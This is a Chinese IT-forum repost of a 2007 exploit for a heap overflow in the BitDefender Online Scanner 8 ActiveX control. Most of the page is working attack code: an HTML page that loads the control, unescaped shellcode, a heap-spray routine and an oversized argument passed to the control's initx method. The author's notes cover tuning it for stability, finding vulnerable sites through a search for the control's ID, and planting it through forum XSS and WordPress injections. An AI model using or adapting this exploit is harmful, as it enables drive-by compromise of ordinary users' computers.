网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > Exploit > BitDefender Online Scanner 8 ActiveX Heap Overflow Exploit  

BitDefender Online Scanner 8 ActiveX Heap Overflow Exploit

2007-12-01  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
    BitDefender OScan8.ocx / Oscan81.ocx ActiveX Exploit
 
=-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=-
 
http://research.eeye.com/html/advisories/published/AD20071120.html
http://secunia.com/advisories/27717/
 
 
This works not 100% - it corrupts random memory in the browser and Launches calculator with success.
 
Users have had this installed since 2006!  With no autoupdates :)
 
Google Search of BD OSCAN = 
http://www.google.com/search?hl=ar&safe=off&rls=fr&hs=P4T&q=%225D86DDB5-BDF9-441B-9E9E-D4730F4EE499%22&btnG=Search
 
Modify the values in these to help keep it stable:
'SiteAuthority' - different memory address ?? - it turns values to literal address !
while (SiteAuthority.length < 60000) - Maybe larger/smaller?

中国网管论坛bbs.bitsCN.com


 
 
Crashes IE even if it fails
 
Tested with Forum XSS Injections + Wordpress 0day + CMS Injections
 
Nphinity 
#SAMAH/#SYR/#SHAHADA
mesra.kl.my.dal.net
 
 
 
 
=-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=-
 
 
 
 
<html>
 
 
<object classid='clsid:5D86DDB5-BDF9-441B-9E9E-D4730F4EE499' id='BD'>
</object>
 
<script language="javascript">
 
 
SCPL = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + 网管联盟bitsCN_com
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + 
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
 
MemContent = unescape("%u0606");
 
HSize = 20;
 
FreeSpace = HSize+SCPL.length
 
while (MemContent.length<FreeSpace) 
{
    MemContent+=MemContent;
}
 
FB = MemContent.substring(0, FreeSpace);
 
Mem = MemContent.substring(0, MemContent.length-FreeSpace);
 
while(Mem.length+FreeSpace<0x60000) 
{
    Mem = Mem+Mem+FB;
}
 
中国网管论坛bbs.bitsCN.com

memory = new Array();
 
for (x=0;x<600;x++) memory[x] = Mem + SCPL;
 
var SiteAuthority = '%%';
 
while (SiteAuthority.length < 60000) 
{
    SiteAuthority+='x30x36x30x36';
}
 
BD.initx(SiteAuthority);
 
</script>
</html>

TAGs         "   <   Mem   it   while   memory   SiteAuthority      
 上一篇:没有了   下一篇:没有了
BitDefender Online Scanner 8 ActiveX Heap Overflow Exploit 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: